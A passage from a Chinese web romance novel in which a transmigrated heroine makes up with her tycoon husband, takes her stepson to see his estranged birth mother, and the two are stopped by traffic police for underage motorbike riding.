江明羧江明羧指间的烟一直没动,烟灰无声堆积,最终熄灭。 他忽然站直身子,声音贴着夜,显得那样理智又冷静:“时间不早了,先回去吧,今晚我和小黎睡一个房间。” 说罢抬脚往外走,却在刚迈出几步后倏然停住。 一双纤细的胳膊从后面环绕过他的腰,女人的体温透过衣料灼人,手指死死攥住他前襟,像是要把布料撕碎。 “我不走。” 金苒贴着他的后背,声音有些闷闷的,而后语气坚定的又重复了一遍:“我不走。” 一瞬间,江明羧身体绷紧,如同工地上铸造的钢筋,困住了各种复杂的思绪。 他缓慢转身,睫毛在眼下投出浓重阴影,神色不明:“你不怕?” 金苒抬起头,脸庞隐于暗影中,但那双眼睛始终灼灼生辉。 她认真想了会儿,回答:“其实我觉得我更可怕点。” 比如她明明死了,却在另外一个人的身体里复活,还是一本书中的纸片人。 她拥有上帝视角,知道江明羧的那些过往,哪怕不清楚细节,也明白从一无所有到是如今的商业大佬,脚下铺就的绝非光鲜坦途。 换作她,未必能比他做得更好。 金苒说的实话,江明羧的目光却钉在她脸上,像在审视,又像在确认。 那双多情的桃花眼,此刻一眨不眨地注视着,眼底藏着晦涩难懂的情绪。 许久,江明羧抬起手,指节擦过金苒的脸颊,力道很重,几乎像一种警告:“想好了?” 他声音低哑,裹挟着某种压抑的,爆裂的情绪:“如果选错了,以后就没机会反悔了。” 金苒一顿,随后迎着他的手,轻轻蹭了蹭掌心。 她用实际行动,来表达了自己的态度。 不会反悔。 / 关于走不走的二选一问题已经了结,误会却没有解除。 男人这种生物,总以为女人的情绪像天气预报,转晴便应该翻篇。 譬如此刻,江明羧揽金苒在怀里,低头在她乌黑的发顶落下一个轻柔的吻。 “吃完晚饭了吗?” 他嗓音低哑,后知后觉想起他们出来的原因。 呵,现在知道关心她了? 金苒突然一把将人推开,鼻腔里重重哼了声,没有忘记自己在生气。 即便最开始的时候,她因为种种原因对这个男人保持警惕,可她又不是任人摆布的人偶,后面的暧昧、亲密都是她主动放任的结果。 谈恋爱,和谁谈恋爱,什么时候开始,什么时候结束,都是她自己的事情,凭什么听他安排。 可他呢,一会儿让她走,一会儿又反悔不让她走,所有决定都随心意,难道他以为自己是什么小说霸总? 转念一想,金苒忽然意识到:他还真是! 不仅是霸总,还是那种身价千亿、产业遍布全球的钻石王老五,向他献殷勤的女人数不胜数,这个认知让金苒更加恼火。 她绷紧巴掌大的小脸,在江明羧困惑的目光中冷冷开口:“你大伯娘的确和我说了很多关于你的事情,虽然我并不相信,但有些事情,我觉得还是当面讲清楚要好。” 闻言,江明羧指尖一顿。 片刻后点了点头,接受了她的建议:“是应该说明白。” 之前没有特意关注,不过想也清楚江家人不会说他好话,甚至肆意污蔑,就像曾经做过的那样,以前是不在意,现在…… 低头望向女人泛着粉的鼻尖,心想,总不能真的把人吓走了。 感受到不可忽视的视线,金苒咳了咳,莫名有些小激动。 她本来就对江明羧这样传奇大佬的过往充满好奇,出于人与人之间的界限,从不踏越城池一步,可现在意外有了一个正大光明解密的机会。 她当然不愿意放过了。 届时,哪怕问到了一些秘密,如果对方不愿意回答,她也不会逼问。 思及此,她开口道:“你大伯娘说你以前是个打架斗殴的小混混。” 江明羧颔首,表情很是平静:“高中之前没钱上学,跟着几个社会上的朋友瞎混,后来为了抢地盘打过几次架,不过都是对方先动手。” 金苒觉得理解,少年人年轻气盛,稍微不合适就要比划几下,何况江明羧的行为算正当防卫。 她提起另外一件事情:“她还说你在纵火案后被警察带走了好几天。” “酒吧着火,当时我正好在那里工作,警察只是例行询问调查。” “把亲大伯关进局子里的事……” 江明羧沉默了下。 而后开口:“江老川去年酒后驾驶撞了人,事后逃窜,对方伤情判定重伤,警察逮捕是有理由的。” 金苒突出其不意道:“那说你打老婆,把前妻打到离婚也是真的了?” 江明羧:“……” 看到男人吃瘪,金苒诡异地感到一阵舒心,嘴上继续阴阳怪气:“打老婆属于家.暴行为,如果是真的,我肯定要为女同胞做主,去报警。” 江明羧这会儿再不察觉到金苒是在生气,就属于过于迟钝了。 何况他并非一个迟钝的人。 内心叹了口气,他伸手将金苒拽回怀中,女人挣扎着要挣脱,却被他更用力地圈住——宽阔的胸膛完全笼罩住她纤瘦的身躯,形成一个密不透风的包围圈。 “没有。”嘴唇张合间,温热的呼吸拂过耳畔。 金苒偏偏了头,故意曲解他的意思:“没有打老婆,还是没有把老婆打到离婚?” 江明羧脸上露出无奈的表情:“都没有。” 他补充:“放心,我不打老婆。” 金苒撇撇嘴:“我为什么要放心啊。” “因为你是我太太。” 明明该生气的,金苒嘴角却勾得高高吊起,她连忙用手捂住,装作随意的样子问:“那你们为什么离婚啊?” 事到如今,金苒终于露出了自己的小马脚。 问这个问题的原因,是因为金苒多少有点儿恋爱洁癖。 这个洁癖并非接受不了另一半有前任,那是每一个人的经历,就像她也曾谈过许多次恋爱,那些经历塑造出现在的她的恋爱观。 但有一点金苒绝对接受不了,那就是同一段感情中的三心二意。 虽然她言之凿凿江 明羧没有其他桃花,但那毕竟只是她自己猜的。 就像那些脚踏几只船的男人,哪个不是时间管理大师? 王翠花那些话看似在诋毁江明羧,但同时还包含了另外一个内容。 江家和林荷一直有联系。 那江明羧呢? 他和他的前妻还有联系吗? 金苒有点儿急性子,这个问题如果不搞清楚,她觉得自今天晚上会睡不着觉。 江明羧倒是同样没有隐瞒。 “你知道明技科技是我大学时候创立的吧?” 金苒点头。 这并不是什么辛秘,几乎了解明技科技的人都知道江明羧的发家史,并且因为太过厉害,在每一次财经采访上,都成为江明羧天才投资手的佐证。 江明羧淡淡道:“其实明技最初是我和一个学长合伙创立的,我负责技术研发,他提供启动资金,但大四上半学期他突然带着部分核心技术出国失联,公司因此资金链断裂,几乎破产,为了挽救,我不得不把全部积蓄投进去,还背了贷款,她知道后就选择了离婚。” 这些事江明羧从来没有和旁人说过。 一来觉得事情已经发生,没有必要,二来没什么用,只有那些无法解决现实问题选择逃避的人,才会无限制沉溺于过去。 金苒怔了怔:“就因为这个?” 虽然她能够理解不愿承担债务的心,毕竟换她她也不愿意,但总觉得两人之间的感情仿佛镜花水月,虚无缥缈。 而且,如果离婚的理由是这个的话,为什么江许黎从小到大没有见过自己的亲生母亲呢。 是江明羧不允许两人见面,还是对方不愿意见? 金苒总觉得怪怪的。 可江明羧这样说,她也不好一直戳江明羧的心窝,后面干脆转移话题。 好好的晚饭,硬是拖成了夜宵。 金苒请江明羧吃饭的颔时候,终于记得查看手机,然后就看到江许黎的微信。 来自三分钟前,对方质问她不按照约定乱走,他找不到她,所以先回酒店了。 因为两次忘记对方,金苒有些不好意思,这会儿心虚问他要不要吃宵夜。 江许黎消息秒跳出来:【吃!】 于是在陪江明羧吃完饭后,金苒又打包了一份烧烤回去。 敲响隔壁的门,不一会儿;少年拖沓着拖鞋过来开门,接过塑料袋后便低头翻检,嫌弃道:“辣椒放少了。” 看着和往常没有什么区别的样子,金苒悄悄松了口气,然后忍不住怼道:“少吃点辣,不心疼自己好歹心疼一下痔疮!” 江许黎:“???” 于是司空见惯的,又吵吵闹闹了一番。 结局以金苒在江明羧的偏心下,得意洋洋胜出,气得江许黎骂骂咧咧吃了两串烤鸡翅。 等门关上,少年脸上的表情消失殆尽。 所以,他妈是主动抛弃他的。 江许黎茫然地望着天花板,一时间,竟说不出心里是什么感觉。 第74章 第74章江明羧,你怎么那么好啊…… 下午同榻而眠的经历,让两人之间的拘谨消散了大半。 等到晚上,金苒和江明羧非常自然地躺在各自的位置上,房灯已熄,半遮半掩的窗帘透进来几丝朦胧的月光,落在雪白的床铺上,仿佛一条泾渭分明的河流。 金苒闭眼又睁开,或许因为下午睡的时间太多,这会儿反而没有了睡意。 竖着耳朵听,旁边的人呼吸平稳,她便不敢再动,生怕把人吵醒过来。 可维持一个姿势太累了,过了一会儿,她终于受不住,小心翼翼翻了个身。 又翻了个。 双人床的另一侧,江明羧默默睁开眼,察觉到旁边窸窸窣窣的动静,不由得开口询问:“怎么了?” 突如其来的声音,让金苒吓了一跳,反应过来眼睛一亮:“你没睡着啊!” 江明羧心想,以她翻来覆去的动作,他睡着才有鬼了。 表面只淡淡“嗯”了声。 于是金苒翻过身,侧面对着江明羧:“既然你睡不着,我们来聊天吧。” 江明羧没有戳穿到底是谁睡不着,黑暗中,男人身影像群山巍峨,连绵起伏。 “聊什么?” 金苒想了想,其实他们之间的共同话题并不多,但偏偏不管什么都能聊的下去。 某种意义上,离不开江明羧的兼容。 “我的好朋友徐珍你还记得吗?” “经常和你一起下班的那个?” “对,就是她。”金苒给他讲了一下王萍萍的事情,抱怨道,“男孩女孩真的有区别么,虽然父母有生育之恩,但这样生孩子只是为了榨干价值,对孩子来说太不公平了!” 她脸颊气鼓鼓的,显然很是生气 又或许女孩子更能体会到女孩的困境,连徐珍那么爱摸鱼的人,为了王萍萍竟也主动是放弃旅游赶回去。 想到这里,金苒忍不住问江明羧:“你呢,喜欢男孩还是女孩?” 价值观也是考察情侣匹配度的重要标准,如果三观差别太大,她会担心两人未来的相处。 结果江明羧说:“不知道。” “???” 金苒一头问号。 答案可以是男孩可以是女孩,也可以是一视同仁,但总归不是不知道,她一脸你糊弄谁的表情,江明羧无奈解释:“准确来说是没有想过。” 在那张从头到尾都是算计和欺骗的婚姻中,两人之间没有任何感情,自然对孩子也没有多少期待。 后来林荷跑了,得到消息的江明羧匆匆从学校赶回来,看到躺在摇篮里哭嚎的孩子,又瘦又小,却在他靠近的时候停下哭泣,露出一个笑脸。 那一刻,他才有一种感觉——这是他的孩子。 “……因为没有想过,所以男孩女孩都一样。” 金苒想起父子俩最初的剑拔弩张,哼了哼,非常公正地发言:“小黎是个很善良的孩子,你的话,可不是一个好家长。” 江明羧虚心问:“好家长是什么样的?” 额,怎么也得像她一样尊重学生,关心学生,积极为学生的课后作业作贡献吧。 金苒忽然非常做作地咳嗽了两声:“当然,我知道像我这样德智体美全面发展的完美人毕竟是少数,但这不是你们放弃的原因,拿不到满分,拿个及格分也不错啊。” 直接摆烂拿鸭蛋的则通通叉出去! 房间里光线昏沉,江明羧看不见女人的表情,但眼前仿佛浮现她骄傲的花孔雀样子,不由得有些好笑:“你做的很好,小黎很喜欢你。” “只要你以后要好好和孩子沟通,他也会喜欢你的。” 老师人语重心长。 江明羧受教地点点头:“金老师说的对,我会改正的。” 话音一转:“不过我五岁的时候父母就去世了,没有参照,有些不知道如何做一个好父亲。” 闻言,金苒原本还得意洋洋的神情瞬间僵住。 ——糟了! 她怎么忘了,江明羧从小父母双亡? 一时间,内疚和自责包围住金苒,几乎是下意识的,她摸索着往前伸手,指尖戳碰到江明羧的手背,触及之时犹豫了下,随即缓缓覆盖。 “没关系,你那么聪明,我相信你可以的。” 她是那么善良,仅仅因为一句话就对别人产生心疼,并付出全部身心去安慰。 江明羧喉结滑动了下,没有犹豫,翻转将那只手握进手心。 温温凉凉,柔软无骨似的,而他轻而易举就能 攥住。 那一刻,不知道出于什么心理,他突然不想再往下继续,而是拉回之前的话题:“我听到过一种说法,从社会解构和历史来看,重男轻女是一种重利文化,重的不是男孩,而是自己的功利.欲.望,在功利的驱动下,这部分人会认为生男孩可以获取更多资源。” 果然,金苒被转移注意力。 这种解释她还是第一次听说是,可想一想又觉得很有道理,比如她是独生女,小时候经常遇到其他人劝他爸妈再生一个,要不然家产没有人继承。 又或者现在年轻人催婚催亲的理由便是“不生孩子无法养老”,由此可见,中国式家长生孩子的目的便带着功利性。 如果这样的话,王萍萍的父母大概听不进去什么道理,也不知道徐珍要怎么办…… 金苒心中为徐珍忧虑,忽然听到江明羧开口:“明技科技同文承中学合作,下学期会创立一个基金会,如果王萍萍的学习成绩达标,可以申请助学金。” 金苒微微惊讶,她知道了两方的合作,可没想到会这么快:“我听徐珍说那个孩子成绩稳定班级前十。” “嗯,可以申请。” 如此一来,算是找到了解决办法,金苒整个人都轻松起来:“学校的假期实践活动,如果可以给他们安排一个好的地方,家长们想要把人送走都没有办法。” “回去问问王助理,有没有这方面的活动,或许可以对接一下。” 虽然这样说,但以江明羧的行事作风,基本已经板上钉钉,再大的难题,似乎和对方聊一聊都能得到解决办法。 金苒忍不住道:“江明羧,你怎么那么好啊!” “那你要怎么报答我?”这会儿,他也有心情和她开玩笑。 月光朦胧中,金苒安静了会儿,突然撑起身子,飞快地在江明羧脸颊上亲了一下。 “啵!” 清脆的声响在寂静的夜里格外清晰,不等江明羧反应,金苒已经迅速缩回被窝,把半张脸都埋进被子里:“啊,好困,睡觉睡觉!” 黑暗中,江明羧的身体明显僵了一瞬。 他缓缓转头,目光落在那个紧闭着双眼,睫毛却在不安地颤动的女人身上。 有贼心,没贼胆。 眸色变得晦暗,他伸出手为她掖了掖被角,期间指尖状似不经意擦过发烫的耳垂,毫无意外察觉到了轻颤。 见状,江明羧无声地勾起嘴角。 “睡吧。” 片刻后,他收回手躺了回去,终究没舍得拆穿她的小把戏。 一夜美梦。 次日,金苒醒来的时候,江明羧已经起床,并从外面带回来早餐。 “等会儿我去看望一个长辈,你要一起还是留在宾馆?” 金苒一愣,她以为他说的事情只是借口,没想到真的有事啊,“什么长辈呀?” “以前资助我的一位叔叔,年纪大了腿脚有些毛病,这次回来顺路去看看他。” 金苒沉思片刻:“我还是不去了吧。” 老人家身体不舒服,没有心情接待那么多的人,她第一次上门反而让对方分心。 而且她还有旁的事情想要确认一下。 江明羧便没有再多说,放下早餐,又让前台送热水,安排好一切后才出门。 等他离开,金苒在床上浪费了会儿时光,然后爬起来洗漱、化妆。 看了一眼时间,九点钟,她慢条斯理享受完早餐,这才悠闲地敲响隔壁的门。 这次过了好一会儿房门才被打开。 江许黎顶着两个厚重的黑眼圈出现,衣服穿着整齐,鞋子也换了下来。 金苒挑了挑眉:“要去做什么?” 哪知江许黎转身回到房间,拿起打到一半的游戏,懒洋洋道:“哪里也不去。” “那正好,你陪我去一个地方吧。” 江许黎不想动弹,说来也是巧,比起江明羧那样的事业狂魔,他们两人没有血缘关系的继母子才是最像的。 ——一样的懒。 少年嘟嘟囔囔:“你怎么不让我爸陪你啊。” 金苒突然意识到不太对劲。 这小子是不是离开学校太久,居然对她的老师威严免疫?这可不是一个好兆头! 她决定回到家就给他布置作业,让他知道人心的险恶。眼下,只得双眉弯弯如月牙:“因为比起你爸,我更相信你啊。” 一句话,直接把江许黎吊成翘嘴。 算了算了,当儿子就是欠老子的,为了不让他爸孤苦伶仃一辈子,他多受累一份了。 / 一开始,江许黎以为金苒真的有什么事情。 直到听见她询问门口三蹦子司机,要怎么去东平镇。 他猛地抬起头,目光警惕、不可置信,似乎要看透她的真实想法。 可金苒始终是那副平淡的样子:“如果你不想去,我再找其他人。” 江许黎不说话。 那边,三蹦子司机认出两人外地人的身份,眼珠子转了转便张嘴报了一个价:“那边可远离,路难走,得加五十块钱。” 原价四十五,加五十就是九十五,金苒拿出手机准备付钱,江许黎突然拉住她扭头就走。 “哎!别走啊!” “都是这个价,实在不满意还能商量啊!” 身后传来三蹦子司机的大声挽留,江许黎绷着脸脚步不停,直走到另一条街上才松开手,看着金苒的目光有些复杂:“东平镇不到十公里,他就是故意坑你。” 金苒当然知道路边的车会加价,可没想到对方会这么黑心肠:“那怎么办啊,我查过了,这边没有直达的公交车。” 江许黎又看了她一眼,片刻后道:“跟我来。” 说罢率先抬脚往前走,金苒虽然疑惑但还是跟了上去。 两人七拐八拐在复杂的居民区间穿行,随即进了一条拥挤的巷子,最后在金苒好奇的目光中来到一家修车店。 “租一辆摩托车。” 老板正在修车,闻言头都不抬:“押金一百,租金三十,半天时间。” 江许黎把钱转过去,用老板给的车钥匙开了一辆摩托车。 相比江许黎那辆爱车,这个摩托车可以算得上破破烂烂。 骑之前,江许黎仔细检查了番,越检查越是皱眉。 以后加固了几处,才勉强接受,大长腿一跨坐上车,对着金苒摇头示意:“上车。” 直到金苒坐到摩托车的后座,感受着飞驰而来的风,她紧紧抓住江许黎的衣服,还有点儿没有反应过来。 对距离了如指掌,以及熟门熟路的租车行为,似乎都彰显着少年不止一次私下偷偷查过西海镇到东平镇的方法。 所以,他其实还是想去看一眼的吧? 第75章 第75章从法律上讲你难道不是我…… 路上的氛围有些沉默,金苒体贴地没有开口逗乐。 许多家长认为孩子的情绪来得快去得也快,不必过于在意,但从心理学角度来看,孩子同样是独立的个体,他们也需要拥有自己的私人空间。 或许正是金苒从不因为年龄而摆出高高在上的姿态,才让江许黎能够一步一步,坦然地接受她。 等到达目的地后,江许黎的情绪果然平缓了几分。 甚至主动对金苒说出自己打听来的消息:“她在小学门口摆了一个早餐摊子。” “知道具体位置吗?” 江许黎却摇了摇头。 金苒心想,再怎么表现得镇定也只是一个十五岁的少年,乍然得知自己是被亲生母亲抛下的,心里难免失落,即便如此他还能处理好这么多事情,已经相当不容易了。 没错,金苒早就猜到江许黎偷听了她和江明羧的谈话。 否则以少年的性子,绝对做不出找不到她便独自回宾馆的事情。 “那我们找人问问好啦。” 金苒环顾四周,看到一个在店门口乘凉的小卖铺大妈,先买了两瓶矿泉水,然后才和对方唠家常似的聊起来,她长得漂亮,人又亲和有礼貌,很快就借机打听小学。 也是巧了,附近的学校有很多,但小学只有一个:“沿着路往前走,前面有路牌指引。” 金苒笑着道谢,两人根据大妈的指示找过去,远远的,就听到前方传来一声怒吼:“遭天杀的王二,我真是瞎了眼当初跟着你走,要不是因为你,我现在早就是豪门太太!” 刹那间,并行的脚步同时停下来。 学校牌匾写着“东平小学”,隔着二十米的距离,空地处是一家早餐摊,露天的场所,只在头顶拉着一块塑料布遮太阳,摆着被油污浸透的桌椅,空气中飘荡着食物和油烟的味道。 一个三十多岁的女人站在摊子前,正掐着腰,对炸油条的男人破口大骂。 一会儿说自己命惨,错过了享福的机会。 一会儿骂男人没本事,连她前夫都比不上。 来吃饭的客人看不过眼,说句公道话:“我说荷花,你这幅样子哪里找大老板,” 那女人呸了声:“明技科技的总裁知道不,那是我前夫!” 众人哈哈大笑,显然不相信她的话:“你前夫要是总裁,你怎么在 这里卖油条?” “就是啊,现在离婚都有财产分哩。” 女人急了:“我说的都是真的,我们还有一个儿子呢!那也是白眼狼的!早知道当初就把他溺死!” …… 马路边,金苒下意识看了一眼江许黎。 少年嘴唇抿紧,下唇因为用力而透露出几分苍白。 眼看着林荷越说越难听,她皱起眉头,想要上前理论,被江许黎扶住肩膀:“我想吃烤肠,你能请我吃根烤肠吗?” 金苒顿住,片刻后点点头:“那我去买烤肠,半小时后在路边碰面怎么样?” 江许黎“嗯”了声。 等金苒离开后,他站在原地迟疑了一会儿,然后才朝着那个女人喋喋不休的女人走过去。 另一边,想着母子俩第一次见面,肯定要花费一些时间,金苒没有立刻去约定的地点,而是在附近百无聊赖地逛了逛。 等到还剩五分钟,她才往那儿走,结果隔着老远的距离就看到站在路边的少年。 十五岁的男高生,身材颀长,脊背挺拔清秀,如同节节拔高的竹子,韧而不折,翠而不妖。 她诧异地走过去:“聊完了?” 一边说着一边不动声色打量着面前人,发现江许黎虽然失落,但情绪还算平静,内心悄悄松了口气。 看来应该没有闹出什么大事。 这样想的金苒忽略掉了江许黎眼中一闪而过的嘲讽。 其实来之前,他已经做好了心理准备。 这么多年林荷从未去看过自己,大概对他这个儿子没有多少真心,所以在林荷对着他一番诉苦,最后暴露目的,让他去和他爸要钱的时候,他竟没有丝毫意外。 看在生育之恩的份上,江许黎把身上仅有的两万块打给林荷,对方嫌弃唾骂,动作却是毫不犹豫地收下。 他心中失落无比,原以为林荷便是这样的人,直到一个与他年龄相仿的少年出现,林荷竟瞬间换了副面孔,对着少年嘘寒问暖,甚至要拿他给的钱去为对方买东西。 那一刻,江许黎什么都明白了。 她不是不爱自己的孩子,只是不爱他。 那句为什么要抛下自己的问题,最终江许黎也没有问出口。 因为不重要了。 “嗯,聊完了。” 江许黎没有多少留恋,视线落到她空空荡荡的手中:“我的烤肠呢?” 金苒尴尬咳了咳。 她以为江许黎是故意支开自己,没想到真的要吃烤肠。 看到她的表情,江许黎还有什么不明白的,有些无语:“走吧,去买烤肠。” “先等等。” 金苒却叫停江许黎,然后转过身,一路小跑着走到早餐摊子前,在林荷警惕的目光中开口,“虽然我不是很想和你打交道,但有句话我必须告诉你。” 她表情严肃,一字一句道:“小黎不是白眼狼,他会担心父亲受伤,会救流浪的小猫,会为了弱势同学见义勇为,是个孝顺善良讲义气的好孩子。” “他什么也不说,是因为你对他有生育之恩,是因为他是一个好孩子,不代表你可以随意污蔑他。” 林荷愣住。 金苒一口气把想说的话说完,憋屈在心底的那股气才稍微散了点儿,但她对林荷还是没有什么好印象,林荷忽然意识到什么,脸色不太好:“你和江明羧是什么关系?” “我是他的太太。” 林荷并不知道江明羧再婚的消息,原本王翠花过来是打算告诉她的,结果两人见面便打了起来,王翠花自然不会再说:“你是王翠花找的新人?” 闻言,金苒眸光微闪。 直觉告诉她里面有什么内情,干脆顺着对方的话道:“这不管你的事。” “呸!”果然,林荷没有发现问题,“你我一样的货色,装什么清高,当年王翠花让老娘给江明羧下药的时候,你还不知道搁哪个旮旯角里待着呢!” 她只顾着发泄情绪,显然被江明羧再婚的消息刺激得不轻,毕竟男人要是另娶,她当豪门太太的美梦可就彻底泡汤了,那张浓妆艳抹的脸因为嫉妒而变得扭曲,丝毫没有注意到金苒震惊的表情。 下药。 下什么药? 某个最不可能的答案浮现在脑海中,与此同时,金苒终于明白那些曾经的违和感从何而来了。 被人诋毁,被最亲近的长辈设计,当时的江明羧会是什么感受呢? 他或许是愤怒的,是难过的,但最后,强烈的责任感还是让他认下来,可那时候的他大概没想到会有新的背叛。 只要想一想,金苒就觉得心脏抽痛,眼睛酸涩难忍。 她突然很想回到他的身边,然后张开胳膊,抱抱他。 / 两人来的匆忙,回去的时候倒是不用赶时间。 再次经过来时的小卖铺,江许黎进去买了两根烤肠。 大妈还记得他们,对漂亮的金苒很有好感,这会儿便拉着她的手热情问:“小妮看着年纪不大,有男朋友了么,我婆家有个侄子……” 江许黎忽然走过来,语不惊人死不休:“妈,走了。” 见状,小卖铺大妈目瞪口呆,目光八卦地两个人之间转动,怎么看也没有看出想像的地方。但人家都这样说了,还能有假?最后只能讪讪笑道:“你儿子都这么高了,呵呵,你保养的还怪年轻来。” 金苒:“……” 她还能怎么办? 只能微笑着默认下来,等走远后,才一巴掌拍到江许黎的肩膀上:“你故意的吧!” 江许黎顿时倒嘶一口凉气,这女人的手是铁砂掌嘛:“什么故意的,从法律上讲,你难道不是我后妈?” 金苒呵呵假笑,后妈是后妈,但这小子可从来不承认:“那你之前怎么不叫呢?” 江许黎身体一僵,依旧死鸭子嘴硬:“我是为你好,作为老师要公私分明,何况那个大姨一看就是要给你介绍对象,金苒女士,请注意,你现在是已婚女士。” “这样说来,我还要谢谢你了?” 江许黎煞有其事:“不用谢,学校从小教育我们要学习雷锋。” “呵呵。” 金苒毫不客气地翻了个大白眼。 插科打诨中,两边树木飞速掠过,如同被拇指抹开的丙烯颜料,划过斑斓的色彩。 江许黎望着茫茫前路,来时紧张的心情彻底落了地。 心里默默道,不认就不认吧,他又不缺妈。 这样想着,又听见后座的金苒抱怨车速太快的叫嚷,忍不住勾起嘴角。 一拧油门,风速再次提升。 金苒哪里知道某人心思。她死死攥住江许黎的衣摆,狂风像无数个耳光般抽在脸上,让她忽然想起社交软件上刷到的那句话—— 女孩一定要体会一次坐在摩托车后座,怀抱着心爱的男孩,感受吹拂着脸颊的细腻的风,人生的幸福不外如此。 而此刻的金苒只觉得“网红推荐”真是害人不浅啊。 就在这时,前方路口闪出两道荧光,江许黎猛地踩下刹车,轮胎在地面擦出一道刺耳的声响。 “未成年不准驾驶摩托车,”两名交警将车拦下,“请出示一下驾驶证和身份证。” / 午后,江明羧看望完年轻时资助过他的长辈,准备返回住处。 突然接到警察的电话:“是江先生吗,这里有你的家人需要你过来交罚款领人。” 江明羧:? 哪个家人? “他们自称是您的太太和儿子。” 江许黎:“ ……” 身价千亿的总裁大佬,脸上难得露出错愕的表情。 第76章 第76章想要了解更多江明羧的过…… 两个小时后,金苒和江许黎臊眉耷眼地跟着江明羧,从交警那儿被“领”出来。 金苒这会儿已经尴尬到想要找个缝隙钻进去。 她只顾着来东平镇找人了,忘记了未成年不能开车的事情,也是因为对这方面不了解,且在A市的时候江许黎经常骑着摩托车去学校,让她潜意识里对这件事情合理化。 今天经过交警“科普教育”,才知道摩托车属于机动车,必须要满十八周岁才可以考取驾照。 唯一庆幸的是不在A市,否则让她的学生知道还不够丢脸的。 金苒原以为江明羧会生气,没想到男人从头到尾没有说什么。 倒是让“罪魁祸首”的两个人小心翼翼。 金苒偷偷给江许黎挤眉弄眼,后者硬着头皮开口:“爸,今天是我的错。” 江明羧“嗯”了声,直接道:“你那个车,回去后放车库吧。” 江许黎有些心疼,但也明白这事没得商量。他爸不知道就算了,现在既然知道了,就绝不会再让他碰那辆摩托车,至少在成年之前,他是别想再骑了。 于是颓丧地答应下来。 金苒死道友不死贫道地松了口气。 结果气没有松多少,江明羧又转头看向她。 金苒心下一紧,赶紧赔笑道:“……我以后一定监督他!” 江许黎:“?” 江明羧满意地点点头。 车子停在路边,金苒打开车门才发现车子里竟然有人。 她的目光落到对方腿上,已经对对方的身份有所猜测,果然江明羧介绍:“这是资助过我上学的何叔。” 金苒喊了声“何叔”,又自我介绍:“我叫金苒,您叫我小金就行。” 江许黎也跟着叫了一声“何爷爷”。 何叔七十岁,头发早就花白,但身上还能看出生意人的那种气质,笑呵呵道:“我要去医院复查,明羧非要顺路把我捎过来。” 金苒便道:“他平日里可是难得开一次车,我想指使他都难,今天可是托您的福才能让人当回司机,您就当满足我的愿望,可不能放过他。” 这句话逗趣成分多,毕竟这次来虞山,小孙又没有跟过来,车子一直是江明羧在开,但她说的好笑,也化解了何叔的不自在。 何叔笑起来:“怪不得这次看到他感觉和以前不一样了,原来是近朱者赤。” 到他这个年纪,什么样的人没有见过,在对于人心把握的不算炉火纯青,也是十个里面能看对九个,金苒是个心思简单的,眼神干净,透亮,没那么多弯弯绕绕,甚至对自己这个刚见面的老头子都是真心关心。 江明羧有些无奈,金苒却产生了兴趣,忍不住问:“他之前什么样?” 何叔故意板起脸:“扎手,像个冰块似的。” 见状,金苒噗嗤笑出声,没想到何叔也是个爱开玩笑的:“所以他现在不是冰块了?” 何叔眼角带笑:“现在也是冰块,不过我看着冰块开始融化咯。” 金苒一愣。 十几年过去了,何叔至今还记得第一次见到江明羧时候的场景。 那天他因为生意上的是事情正烦心着,从酒局上出来后没有立刻离开,找了处角落抽烟,看到那家餐馆后厨的服务员蹲在后门处理垃圾,一只手上还拿着一本书。 说实话画面并不是多好看,夏天的垃圾桶隔着距离都能闻到味道,何叔却突然产生了好奇心。 他猜测他看的一定是流行的武侠小说,或者什么男女情.爱的让年轻人喜欢的东西,可等走过去,却发现是一本高等数学。 后面下了雨,那服务员的第一反应是护住手中的书本,自己被淋反而并不在乎。 也是这一举动,让何叔决定资助江明羧。 车子到达医院,江明羧去办理住院手续,金苒和江许黎陪何叔在休息区等待。 “我以前就担心这孩子太冷,太独,又太聪明,这样的人或许能在事业上能达到一定成就,但生活上恐怕艰难。” 后来果然和他的担心差不多。 “不过这次看到你,我就放心了。” 金苒眸光闪了闪:“和我有什么关系啊。” 何叔笑得和蔼,但那眼神怎么看怎么像千年的狐狸似的:“刚才接到警察的电话,我可是第一次见这小子紧张的样子,这人啊,只要沾了人气,就能够是脚踏实地。” …… 陪着何叔做完检查,结果比较好,摔着的那条腿已经好转,骨头也没有歪,这次大概是换季所以才会疼,医生开过药,又嘱咐每个星期过来理疗,才放人离开。 把何叔送回去的时候已经傍晚,正巧何叔的女儿过来,自然对他们好一番感谢,还邀请他们上楼吃饭,不过江明羧婉拒了。 一家三口回到宾馆。 也没有特意安排,江明羧问他们想吃什么,金苒想起何叔说的话,提议吃他以前吃过的美食。 江明羧:“不知道还有没有。” 毕竟他在西海镇待得时间不长,距今更是过去了十几年。 话虽如此,还是凭借着记忆去找了找,大部分店铺都物过境迁,换成了更加新颖的奶茶店、烧烤店,不过也有一些漏网之鱼。 “他们家物美价廉,我以前经常过来吃。” 金苒抬起头,一家叫王婆米线的米线店,和其他店相比,的确有些岁月痕迹。 江明羧看向金苒,后者果断点头:“这种属于老字号吧?我可得好好尝一尝。” 至于江许黎的意见,他已经习惯了被他爸忽略。 他一声不吭跟上去,准备默默当个无情炫饭人,结果他爸突然回过头:“如果不喜欢不用勉强,也可以去吃其他的。” 看的出江明羧很少说这样关心的话,江许黎第一反应以为就是嘲讽,随即对上他爸略微皱起的眉头才明白过来,顿时有些不知道该说什么了。 憋了一下,开口:“……其实我也想尝尝你以前吃的东西。” 江明羧笑了笑:“那就一起进来吧。” 其实味道要说多好也没有,金苒尝到之后,觉得米线有点咸,好似是放了豇豆和腌制的海带。 除此之外菜少粉多,甚至吃完一碗米线,只需要再加一块钱就可以添碗粉,即便如此最后每人只需付六块钱,对于为了填饱肚子的人来说,足够划算。 金苒和江许黎最后都非常给面子的吃完了。 不过事后回到宾馆,江许黎偷偷点了两杯奶茶,怕他爸知道了伤心,偷偷放在前台,给金苒发了个消息让她出来拿。 好一会儿,金苒才发了个OK的表情包。 江许黎没有多想,他放心拿着自己的那份奶茶回到房间,明天早上就要离开了,他得提前收拾一下行李。 丝毫不知,隔壁的两人并不在房间里。 / 金苒并不是第一次来酒吧。 她上大学时期,因为好奇和室友们去过几次,不过去的都是清吧,便是音乐都以抒情、民谣为主。 这次刚入内就被五颜六色的灯光给闪花了眼睛,忍不住去找江明羧的位置,对方已经走过来,伸手拉住她的手:“跟着我走。” 金苒一下子就安心下来。 也是“王婆米线”,让她突然想要了解江明羧的更多过往,于是在离开前的最后一个夜晚,她想要去他曾经打工的地方看一看。 放在之前,江明羧肯定会拒绝,但如今对上金苒亮晶晶的眼睛,他发现自己说不出拒绝的话。 